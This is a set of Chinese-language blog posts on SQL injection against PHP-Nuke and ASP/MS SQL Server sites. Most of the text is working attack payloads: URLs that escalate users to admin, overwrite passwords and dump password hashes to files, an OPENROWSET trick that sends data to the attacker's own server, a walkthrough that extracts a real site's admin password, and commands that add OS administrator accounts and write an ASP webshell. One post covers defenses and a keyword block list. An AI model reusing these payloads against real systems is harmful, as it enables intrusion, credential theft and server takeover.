http://[target]/modules.php?name=Members_List&letter=All&sortby=uid

  - 显示moderators :

http://[target]/modules.php?name=Members_List&letter=%20OR%20user_level=2/*

  - 显示管理员:

http://[target]/modules.php?name=Members_List&letter=%20OR%20user_level=4/*

  - 显示所有以“abc”开头的用户 :

http://[target]/modules.php?name=Members_List&letter=%20OR%20pass%20LIKE%20abc%25/*

  Your_Account模块 :

  - 将“Admind”用户更名为“Hophophop” :

http://[target]/modules.php?name=Your_Account&op=svetheme&theme=,name=Hophophop%20where%20u

name=Admin/*&uid=[OUR_UID]

  - 在md5_decrypted中将“Bob”的密码改为“d41d8cd98f00b204e9800998ecf8427e”:

http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:

http://[target]/modules.php?name=Your_Account&op=saveuser&realname=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:

http://[target]/modules.php?name=Your_Account&op=saveuser&email=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:

http://[target]/modules.php?name=Your_Account&op=savehome&storynum=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:

http://[target]/modules.php?name=Your_Account&op=savehome&ublockon=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:

http://[target]/modules.php?name=Your_Account&op=savecomm&umode=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID] 
  或:

http://[target]/modules.php?name=Your_Account&op=savecomm&thold=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]

  - 将普通用户提升至管理员权限:

http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,user_level=4&uid=[OUR_UID]

  或:

http://[target]/modules.php?name=Your_Account&op=saveuser&femail=,user_level=4&uid=[OUR_UID]

  或:

http://[target]/modules.php?name=Your_Account&op=saveuser&url=http://,user_level=4&uid=[OUR_

UID]

  或:

http://[target]/modules.php?name=Your_Account&op=savehome&broadcast=,user_level=4&uid=[OUR_U

ID]

  或:

http://[target]/modules.php?name=Your_Account&op=savecomm&uorder=,user_level=4&uid=[OUR_UID]

  - 将所有用户的电子邮件和crypted密码保存在http://[target]/AllMailPass.txt中 :

http://[target]/modules.php?name=Your_Account&op=mailpasswd&uname=)
%20OR%201=1%20INTO%20OUTFILE%20/[path/to/site]/AllMailPass.txt/*

  利用Cookie发送crypted密码能访问用户帐户。

  - 将用户的所有信息保存在http://[target]/admintxt中:

http://[target]/modules.php?name=Your_Account&op=login&uname=%20OR%user_level>
1%20INTO%20OUTFILE%20/[path/to/site]/admin.txt

[path/to/site]能在http://[target]/modules/Forums/bb_smilies.php中查询到。


在开发阶段堵住程序漏洞




既然是程序的漏洞,那么我们就在开发阶段将它堵住。

- 作者: 古典辣M° 2005年05月31日, 星期二 03:18  回复(0) |  引用(0) 加入博采

SQL注入攻击常见方法和技巧
知己知披 方能百战百胜;“黑客”们采用的攻击方法雷同,下面是我挑选的一些具有代表性的攻击方法

,分析这些方法有助于程序员们编写更少漏洞的程序。




跨站式SQL注入数据库攻击和防范技巧

前一阶段,在尝试攻击一个网站的时候,发现对方的系统已经屏蔽了错误信息,用的也是普通的帐号连接

的数据库,系统也是打了全部的补丁这样要攻击注入是比较麻烦的。因此我自己搞了一种“跨站式SQL注

入”。

  思路如下,既然你不显示错误信息,我能不能让你显示到别的地方呢?让SQL把错误写入别的地方。

  既然是研究阶段,我们最好不要直接注入网站,而是首先用查询分析器来分析这个方法。

  第一个想法:   

  SQL可以连接外部的数据库。   

  于是,首先用查询分析器,登陆到我自己的一个虚拟主机的数据库(这样的权限比较小),然后在本

地启动一个SQL server,并且用SA的身份在SQL事件探测器里边建立一个跟踪。  

  尝试 sp_addlinkedserver 如果成功,那就和操作本地数据库一样了。  

  提示必须是sysadmin的身份。。失败。 

  换一个思路:

  只要你SQL敢发命令过来,我不管执行的结果怎么样,只要接获到命令就可以了。  

  于是考虑到一个权限要求不是很高的命令:OPENROWSET 来跨服务器查询。这个命令作用是把一个数

据库命令发给远程的数据库,取回来结果集。。于是就启动“事件跟踪”监视发过来的命令。  

  第一次尝试,首先还是执行 create table [dbo].[laokai]([cha8][char](255))--建立一个表。随

后是把路径写入数据库,这里我考虑,直接生成一个跨库的脚本算了。好方便执行。。







  DECLARE @result varchar(255) exec master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/'

,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''

你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result +

''''''')AS a');--





  这段代码什么意思哪?就是把网站的路径信息写入数据库。也不是单纯的写,写得同时构造一个SQL

语句,这个语句的执行结果是给laokai这个数据库的cha8字段增加了这样的一行记录。  







SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FRO pubs.dbo.authors

where au_fname=''C:\Inetpub,,1''')AS a




  
  其中的C:\Inetpub,,1就是注册表记录的根目录,最后要做的是:







 DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--




 
  这样就等于执行了







SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors

where au_fname=''C:\Inetpub,,1''')AS a





  这一条语句,同时你会在事件探测器那边会显示  







SELECT * FROM pubs.dbo.authors where au_fname='C:\Inetpub,,1'




   
  其中的C:\Inetpub 就是网站的路径。。调试成功。。  

  现在进入实战阶段。某网站屏蔽了全部出错信息。但是我们可以确定它存在注入点 a.asp?id=1,怎么

做呢?







a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))--   




  
  返回正常,我们建立了一个叫laokai的表,有个字段叫cha8,然后:







a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/'

,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''

你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result +

''''''')AS a');--




  
  出错了......出错信息被屏蔽了......怎么办?经过研究发现是里边的某些字符例如 +号需要转化成

16进制,或许还有别的地方要转化......怎么办啊?

  于是写了一个ASCII转化16进制的工具,把全部的代码转化一下,然后注入就OK了。(工具的下载地

http://www.cha8.com/ascii.rar 麻烦放入光盘,不要让他们下,我的服务器受不了),最后自然是执

行上述语句了。
  





a.asp?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35

%29%20%65%78%65%63%20%
6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65%61%64%20%27%48%4B%45%59%5F%4C%4F%43

%41%4C%5F%4D%41%43%48%
49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4F%4C%53%65%74%30%30%31%5C%53%65%72%76

%69%63%65%73%5C%57%33%
53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20

%27%2F%27%20%2C%40%72%
65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74%20%69%6E%74%6F%20%6C%61%6F%6B%61%69

%20%28%63%68%61%38%29%
20%76%61%6C%75%65%73%28%27%53%45%4C%45%43%54%20%61%2E%2A%20%46%52%4F%4D%20%4F%50%45%4E%52%4F

%57%53%45%54%28%27%27%
53%51%4C%4F%4C%45%44%42%27%27%2C%27%27%3F%3F%49%50%27%27%3B%27%27%73%61%27%27%3B%27%27%3F%3F

%27%27%2C%20%27%27%53%
45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%70%75%62%73%2E%64%62%6F%2E%61%75%74%68%6F%72%73%20%77

%68%65%72%65%20%61%75%
5F%66%6E%61%6D%65%3d/33.shtml' target='_blank'

class='article'>3D%27%27%27%27%27%20%2B%20%40%72%65%73%75%6C%74%20%
2B%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3B%2D%2D%20





  执行成功。







a.asp?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--





  网站那边显示还是正常页面。。但是你这边的事件探测器那边会显示:












 
  注入成功。。后边知道了绝对路径,如何添加木马的文章就很多了。。这里就不再描述了。。

  最后说明一下:这只是一个新型的攻击思路的讲解,让大家通过另外一种方式把数据库里边的数据取

出来。。

  ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + '''''''

部分,修改成insert把数据加入数据库也应该没有问题。。甚至单独保留 @result 都没问题。。不过这

样那边会出错。这边就留下一个exec 'C:\Inetpub,,1'












SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很

多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序,比如动网,尘缘雅境,而我们

也可以拿到免费的程序来看其中的漏洞和数据库的结构,从中来达到注入的目的,不过如果是别人自己写

的程序,那么我们就不知道他的源代码,更不知道他的数据库结构(数据表名和其中的字段名),就算有

个变量未过滤提交到数据库去,我们也是无从对其下手的,只能利用通过猜解他的数据库结构来构造相应

的SQL语句,那么是不是就到此为止,能猜到多少是多少呢?没有做不到的,只有想不到的,我相信这篇

文章对研究SQL Injection朋友来说,应该会有所启发。

  一、发现漏洞,常规注入

  最近帮我们的站增加音乐,虽然本地的电信的音乐资源库非常丰富,但是缺少有关歌手和专辑的资料

,所以到网上去闲逛找点有用的图片和歌手简介,通过百度搜索到了一个mp3的音乐超市,里面的资料还

是比较丰富的,拷贝的同时顺手在他的Specialid=1817后面加了一个(单引号),我突然眼前一亮:







Microsoft OLE DB Provider for SQL Server 错误 80040e14
字符串 之前有未闭合的引号。
/showspecial.asp,行13





  Specialid没有过滤掉单引号就直接用到SQL语句中去了,而且是SQL SERVER版本的,漏洞的可利用性

极大,可不能就此放过这么好的练兵机会,接着换;(分号)提交进去,居然页面正常出来了,说明该变

量也没有过滤掉;号,到这里,我们就可以对此进行SQL渗透了,按照常规的步骤:

  1、提交http://********/showspecial.asp?Specialid=1817;use master;--

  注:--的作用是注释掉程序中后面的SQL语句,以防对我们构造的语句有影响,比如order by..

  出现







Microsoft OLE DB Provider for SQL Server 错误 80040e21
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/showspecial.asp,行13





  想在他的数据库里增加一个管理员是不可能了,我们再换一种方法

  2、提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(id) from

[user])

  这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段

  一般来说:

  如果不存在该表的话,会出现







Microsoft OLE DB Provider for SQL Server 错误 80040e37
对象名 user 无效。
/showspecial.asp,行13





  不存在该字段的话,会出现







Microsoft OLE DB Provider for SQL Server 错误 80040e14
列名 id 无效。
/showspecial.asp,行13





  注:一般来说,第一步是猜一些公共的表,这里所指的公共表的意思是大多数的程序员在写设计数据

库结构的时候会用到的常用的表和字段,比如新闻的news表中的编号字段id,标题字段title,用户表use

r或者user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码

,找到用户名和密码的表单的name值,那个也经常会是表字段名的真实值,如<INPUT type=text

name=username size=15>

  很幸运,果然存在user表和id字段

  3、通过提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username)

from [user])

  这里的username是根据登陆框的表单名去猜的,恰好存在该字段。于是在该站注册了一个用户名为rr

rrr的用户,作为注入的平台,得到我的用户名的id值103534

  4、继续猜下去,这里我还是利用的他程序中的表单名,提交:







http://********/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])





  也存在,好了,到这里,我们的平台已经搭建好了。

  二、深入研究,让SQL自己招数据库结构

  很多时候,我们只能猜到大家比较熟用的表名,如果是非原程序公开下载的,我们很猜到他的真实数

据库结构,有时候猜半天都猜不到,令人很郁闷,那么该如何拿到他的表结构呢?我们知道SQL SERVER的

每一个数据库都会有用户表和系统表,根据SQL SERVER的联机帮助描述是系统表sysobjects:在数据库内

创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行,那么也就是说当前数据库的

表名都会在该表内有存在,(对象名 admin 无效。大家可以看到上面出现的报错把表名描述成对象)。

  我们要用的是其中的3个,描述如下(详细的见SQL SERVER的联机帮助):

   name 数据表的名字
   xtype 数据表的类型 u为用户表
   id 数据表的对象标志
   status 保留字段,用户表一般都是大于0的

  在查询分析器执行以下SQL语句(以我本地的数据库为例子)







select top 1 name from sysobjects where xtype=u and status>0





  我们马上就可以得到该数据库下用户表的第一个表名gallery







select top 1 id from sysobjects where xtype=u and name=gallery





  我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048







select top 1 name from sysobjects where xtype=u and id>2099048





  再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的。

  以此类推,我们可以得到所有的用户表的名字了

  接下来,我们要根据得到的表名取他的字段名,这里我们用到的是系统自带的2个函数col_name()和o

bject_id(),在查询分析器执行以下SQL语句(以我本地的数据库为例子):







select top 1 col_name(object_id(gallery),1) from gallery





  得到gallery表的第一个字段名为id。

  注:

   col_name()的语法
   COL_NAME ( table_id , column_id )

  参数

   table_id:包含数据库列的表的标识号。table_id 属于 int 类型。
   column_id:列的标识号。column_id 参数属于 int 类型。

  其中我们用object_id()函数来得到该表的标识号,1、2、3。。表示该表的第1个、第2个、第3个。

。字段的标识号

  以此类推得到该表所有的字段名称

  三、再次渗透攻击

  经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了

  依然是那个页,我们提交

http://******/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from

sysobjects where xtype=u and status>0) where id=103534;--

  服务器返回

ADODB.Recordset 错误 800a0cb3

  当前记录集不支持更新。这可能是提供程序的限制,也可能是选定锁定类型的限制。

/showspecial.asp,行19

  出师不利,可能该页记录集打开方式是只读,我们再换一个页

  找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

name from sysobjects where xtype=u and status>0) where id=103534;--

  把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuser

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id

from sysobjects where xtype=u and name=lmuser) where id=103534;--

  得到第一个表lmuser的id标识号为:363148339

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

name from sysobjects where xtype=u and id>363148339) where id=103534;--

  得到第二个表名为:ad。这里我们利用的是数据表的对象标志id是升序排列的特点,以此类推继续取

……(由于篇幅问题,中间省略n步),最后我们得到了所有的表名,发现其中有个表admin,哈,很可能

就是管理员的列表了。

  好,接下来我们就取该表的字段名

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

col_name(object_id(admin),1) from admin) where id=103534;--

  得到第1个字段为:id

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

col_name(object_id(admin),2) from admin) where id=103534;--

  得到第2个字段为:username

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

col_name(object_id(admin),3) from admin) where id=103534;--

  得到第2个字段为:password

  到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了,首先拿

管理员的id值,这个比较简单,我就不再详细说了。

  我们拿到的id值是44

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

username from admin where id=44) where id=103534;--

  将该管理员的用户名更新到email项 ,拿到的username为:gscdjmp3

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

password from admin where id=44) where id=103534;--

  将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ

  怎么样,拿到密码了吧?

- 作者: 古典辣M° 2005年05月31日, 星期二 03:17  回复(0) |  引用(0) 加入博采

SQL注入攻击的原理及其防范措施
ASP编程门槛很低,新手很容易上路。在一段不长的时间里,新手往往就已经能够编出看来比较完美的动

态网站,在功能上,老手能做到的,新手也能够做到。那么新手与老手就没区别了吗?这里面区别可就大

了,只不过外行人很难一眼就看出来罢了。在界面的友好性、运行性能以及网站的安全性方面是新手与老

手之间区别的三个集中点。而在安全性方面,新手最容易忽略的问题就是SQL注入漏洞的问题。用NBSI

2.0对网上的一些ASP网站稍加扫描,就能发现许多ASP网站存在SQL注漏洞,教育网里高校内部机构的一

些网站这种漏洞就更普遍了,可能这是因为这些网站大都是一些学生做的缘故吧,虽然个个都很聪明,可

是毕竟没有经验,而且处于学习中,难免漏洞多多了。本文主要讲讲SQL注入的防范措施,而要明白这些

防范措施的用处,须先详细讲解利用SQL注入漏洞入侵的过程。新手们看明白啦。

  相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安

全隐患。如这是一个正常的网址http://localhost/lawjia/show.asp?ID=444,将这个网址提交到服务器

后,服务器将进行类似Select * from 表名 where

字段="&ID的查询(ID即客户端提交的参数,本例是即444),再将查询结果返回给客户端,如果这里客户端

故意提交这么一个网址:

  http://localhost/lawjia/show.asp?ID=444 and user>0,这时,服务器运行Select * from 表名

where 字段=444 and user>0这样的查询,当然,这个语句是运行不下去的,肯定出错,错误信息如下:

  ·错误类型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'sonybb' 转换为数据类型为 int

的列时发生语法错误。
/lawjia/show.asp, 第 47 行

  但是别有用心的人从这个出错信息中,可以获得以下信息:该站使用MS_SQL数据库,用ODBC连接,

连接帐号名为:sonybb。所谓SQL注入(SQL Injection),就是利用程序员对用户输入数据的合法性检测

不严或不检测的特点,故意从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取想得到的

资料。通常别有用心者的目标是获取网站管理员的帐号和密码。比如当某个人知道网站管理员帐号存在表

login中,管理员帐号名为admin,他想知道管理员密码,这里他从客户端接着提交这样一个网址:
http://localhost/lawjia/show.asp?ID=444 and (Select password from login where

user_name='admin')>0,返回的出错信息如下:

  ·错误类型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 '!@#*&admin' 转换为数据类

型为 int 的列时发生语法错误。
/lawjia/show.asp, 第 47 行

  你知道吗?上面标红的部分就是管理员帐号admin的密码!虽然很复杂,让人看几遍也记不住的,但

它就这样显示在你面前了,这时您就可以用这个帐号和密码接管人家的网站了!这时你可能还会说,如果

他不是事先知道管理员帐号存在表login中,而且知道管理员帐号为admin,那他就不可能获得管理员密码

。你错了,只要人家愿意多花时间尝试,他将可以获得数据库连接帐号权限内所能获得的所有信息!具体

过程请参看网上的这篇文章:





图1(图中的示例网站在作者本地电脑上运行)





  不知那些没注意过SQL注入漏洞的ASP程序员们看了上图的例子,要作何感想呢?是不是觉得这个所谓

的网站安全漏洞检测工具SBSI 2.0简直就是MS_SQL的企业管理器呢?只不过人家不需要帐号和密码就可以

查看您数据库里的所有信息了。如果您的网站就这样被人不费吹灰之力入侵了,您是不是要吐几升血了呢

?也许您已经为系统安全费尽心思了,装补丁、安防火墙、装杀毒软件、巧妙配置IIS及数据库用户权限

,但您就是没有注意到SQL注入漏洞,于是"千里之堤,溃于蚁穴"。防火墙与杀毒软件对SQL注入是没办法

防范的,因为SQL注入入侵跟普通的WEB页面访问没什么区别,所以往往是防不甚防。而且一个服务器上放

置的网站往往是有很多个的,服务器管理员不可能挨个网站挨个页面的审查其是否存在SQL注入漏洞。那

么应该如何防范SQL注入入侵呢?作为服务器管理员或网站程序员应该分别怎么做呢?服务器管理员要做

的事主要是配置IIS和数据库用户权限,而网站程序员主要是要在程序代码编写上防范SQL注入入侵。下面

详细叙述:

  对了服务器管理员,既然你不可能挨个检查每个网站是否存在SQL注入漏洞,那么就来个一个绝招。

这个绝招能有效防止SQL注入入侵而且"省心又省力,效果真好!"SQL注入入侵是根据IIS给出的ASP错误提

示信息来入侵的,如果你把IIS设置成不管出什么样的ASP错误,只给出一种错误提示信息,即http 500错

误,那么人家就没办法入侵了。具体设置请参看图2。主要把500:100这个错误的默认提示页面

C:\WINDOWS\Help\iisHelp\common\500-100.asp改成
C:\WINDOWS\Help\iisHelp\common\500.htm即可,这时,无论ASP运行中出什么错,服务器都只提示HTTP

 500错误。



图2、IIS出错信息设置
  但是这样设置一个不好的地方是程序员编写的代码出错时,服务器不给出详细的错误提示信息,会给

程序员带来很大的不便。不过,服务器毕竟不是测试代码的地方,应坚持安全稳定第一,这样设置也是无

可厚非的,事实上许多服务器的出错信息都是如此设置。

  服务器管理员还应在IIS中为每个网站设置好执行权限,可千万别给人家静态网站以"脚本和可执行"

权限。一般情况下给个"纯脚本"权限就够了,对于那些通过网站后台管理中心上传的文件存放的目录,就

更吝啬一点吧,执行权限设为"无"好了,这样做是为了防止人家上传ASP木马,执行权限设为"无",人家

上传ASP木马也运行不了。一般情况下,SQL注入漏洞仅是涉及一个网站安全的事,如果人家通过这个漏洞

上传了ASP木马并运行起来,那整个服务器都失陷了。所以有远见的、有责任心的服务器管理员应该十分

吝啬的配置IIS的执行权限。

  同样的吝啬态度应适用于数据库用户的权限配置上,当然这里数据库是指MS_SQL啦,ACCESS都没有

用户权限配置这一步骤。如果PUBLIC权限足够使用的绝不给再高的权限,可千万别把SA级别的权限随随便

便地给人家啊。那个所谓的网站安全漏洞检测工具NBSI 2.0可有跨库进行SQL注入的功能啊,如果你把SA

权限给了存在SQL注入漏洞的库,那其它库就不保啦!城门失火,殃及池鱼呀。而人家还可以通过调用xp_

cmdshell命令得到系统的最高权限。具体步骤还是请参看上面提到的那篇《SQL注入漏洞全接触》这篇文

章吧。

  接下来要讲讲程序员的防范措施了。程序主要要做两件事,最重要的一件事,当然是对客户端提交的

变量参数进行仔细地检测啦。对客户端提交的变量进行检查以防止SQL注入,有各种方法,到http://comm

unity.csdn.net/上搜索一下,你能获得许多有益信息。这里介绍一种现成的方法,别人已经写好了检测

代码,拿来用一下,不用自己辛苦啦。那就是"枫叶SQL通用防注入V1.0 ASP版",这是一段对用户通过网

址提交过来的变量参数进行检查的代码,发现客户端提交的参数中有"exec、insert、select、delete、f

rom、update、count、user、xp_cmdshell、add、net、Asc"等用于SQL注入的常用字符时,立即停止执行

ASP并给出警告信息或转向出错页面。大家可以到网上搜索一下,下载这段代码,存为一个ASP页面,如ch

eckSQL.asp,把这个页面include到每个需要带参数查询SQL数据库ASP页面中,记住,只要加一行这样的<

!--#include file="checkSQL.asp"-->代码就行了。

  程序员要做的第二件事是给用户密码加密啦。比如用MD5加密。MD5是没有反向算法,不能解密的。人

家即使知道经加密后存在数据库里的像乱码一样的密码,他也没办法知道原始密码了。不过,人家可以用

UPDATE方法用他的密码代替你的密码,但这个操作还是有点麻烦,人家可能会怕麻烦而放弃。而那个所谓

的网站安全漏洞检测工具NBSI 2.0是没有提供UPDATE操作功能的,所以用MD5加密后,人家仅用NBSI 2.0

而不辅以手动操作的话,就不可能获得网站管理员帐号的密码,这将挡住许多菜鸟级的攻击者,至少那些

既不懂ASP又不懂SQL、年纪小小的男性青年是没有办法啦!

  文章写到这,已经够长了,本来还想对那些所谓的网站安全漏洞检测工具如NBSI之流的黑客工具进行

一番理性的探讨的,看来还是放弃好了。为了增强网站安全,了解攻击手段是必须的,但是,利用漏洞开

发专门的黑客工具,使那些其实并不备必要的网络技术和网络安全知识的人(就是文中提到的"既不懂A

SP又不懂SQL、年纪小小的男性青年")轻而易举地侵入一家网站,这除了为许多网络管理员制造麻烦外,

是否还具有加强网络安全意识提高网络安全水平的功效呢?

榨干MS SQL Server 最后一滴血




风云变换的网络,网络安全让人们不能不关注它。数据库,让我们不得不想起强大的ORACLE,MS SQL。微

软的漏洞最多,今天就用SQL INJECTION来让MS SQL为我们好好的工作。

  以下(使用一知名网站作为测试点),相信大家对SQL爆库,爆表,爆字段都已掌握,在这里就不多

说这方面了。

  MS SQL内置函数介绍:

  @@VERSION 获得Windows的版本号,MS SQL的版本号,补丁。 User_name() 得到当前系统的连接用户

Db_name() 得到当前连接的数据库 HOST_NAME() 得到当前主机的名称

  这些信息有助我们对系统进行简单的了解

  好,下面我们就开始吧!

  语句:

http://www.xxx.com/list.asp?classid=1'
  返回信息:

Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 字符串 ' Order By Id DESC' 之前有未

闭合的引号。 /list.asp,行290
  从这里未闭合的引号(“’”),我们可以确定存在SQL INJECTION。发现在漏洞当然接着走了,利

用以上介绍的函数为我们工作了:

  语句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select @@version)
  返回:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'Microsoft SQL

Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft

Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类

型为 int 的列时发生语法错误。 /list.asp,行290
  相关的信息出来了,MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3,从MS SQL SERVER 后面

的8.00.760可看出是SP3补丁。看了服务器的信息,接下应该了解数据库的权限了:

  语句:

http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’
  返回: 正常返回的信息

  确定是权限是DBO,从表面DBO权限的连接用户经常是涉及SYSADMIN服务器角色成员。说明数据库服务

器角色成员组默认是在每个数据库增加一个DBO用户。

  返回原理根1=1,1=2相似..这里只是权限测试,我们也把它爆出来看看:

  语句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select user_name())
  返回:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'dbo' 转换为数据类型

为 int 的列时发生语法错误。 /list.asp,行290
  说明连接数据库的用户权限很高,可以确定是服务器角色组中的成员。

  语句:http://www.xxx.com/list.asp?classid=1 and 0<>(select db_name())—返回:Microsoft

OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'GameIMGSys' 转换为数据类型为

int 的列时发生语法错误。 /list.asp,行290

  这样就可以爆出当前的数据库。得到这么高权限的数据库连接成员,我们当然想直接得到WEBSHELL,

或是直接拿到NT ADMIN。NT ADMIN取决于当前服务器的配置,如果配置不合理的服务器,我们要直接拿NT

ADMIN,拿NT ADMIN就要用到:

  MSSQL内置存储过程:

  sp_OACreate (通过它,危害很得更大,但是需要有SYSADMINS权限才可能使用) sp_OAGetErrorInfo

sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_SetPropertysp_OAStop

  由于MS SQL一次可以执行多语句,使得我们有机会使用更多的语句。

  语句:

http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OACREATE

'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null,

'C:\WINNT\system32\cmd.exe /c net user cntest chinatest /add'
  正常返回。(提示:如果主机上shell存在的话那将在服务器上创建一个cntest的用户)

  创建用户了,语句后再加个net localgroup administrators cntest /add加到管理组中。 如果对方

的机子开着3389端口,或IPC的话,那接下来的事,就不用我多说了。

  遇到专业型主机,只开一个80端口,那应该怎么办呢?当然,我们还是可能拿到WEBSHELL,再慢慢渗

透的。

  由于权限高,我们可能先建表,写入ASP木马的数据再通过MAKEWEBTASK,得到WEBSEHLL.手工写入的程

序太过于繁锁,上传WEBSHELL最大的问题还是网页目录,现在网上已经有现成的工具通过BACKUP,和MASK

WEBTASK的工具得到WEBSHELL了。以下推荐,获取网页路径(通过存储过程达到对注册表的读取):

  利用内置存储过程 xp_regread(读取注册表键值,权限public):

  语句:

http://www.xxx.com/list.asp?classid=1;CREATE TABLE newtable(id int IDENTITY(1,1),paths

varchar(500)) Declare @test varchar(20) exec master..xp_regread

@rootkey='HKEY_LOCAL_MACHINE',

@key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/',

values=@test OUTPUT insert into paths(path) values(@test)
  IIS的默认路径的在注册表中HKEY_LOCAL_MACHINE\

SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\

  利用爆字段将数据库的值读出来:

  语句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)
  返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' [Microsoft][ODBC SQL Server

Driver][SQL Server]将 varchar 值 'E:\www,,201' 转换为数据类型为 int 的列时发生语法错误。
  这说明网页目录在E:\www,接下来也可以利用FSO直接写入ASP木马(提示必须拥用SYSADMIN权限才

可使用FSO和FSO开入的前提下) :

  语句:

http://www.xxx.com/list.asp?class=1;
declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.f

ilesystemobject',
%20@o%20out%20exec%20sp_oamethod%20@o,%20'createtextfile',%20@f%20out,%20'e:\www\test.asp',
1%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'On Error Resume Next'
  在E:\WWW下创建一个test.asp并写入On Error Resume next语句:

http://www.xxx.com/list.asp?classid=1;
declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.f

ilesystemobject',
%20@o%20out%20exec%20sp_oamethod%20@o,%20'opentextfile',
%20@f%20out,%20'e:\www\test.asp',8%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20N

ULL,%20'asp horse '
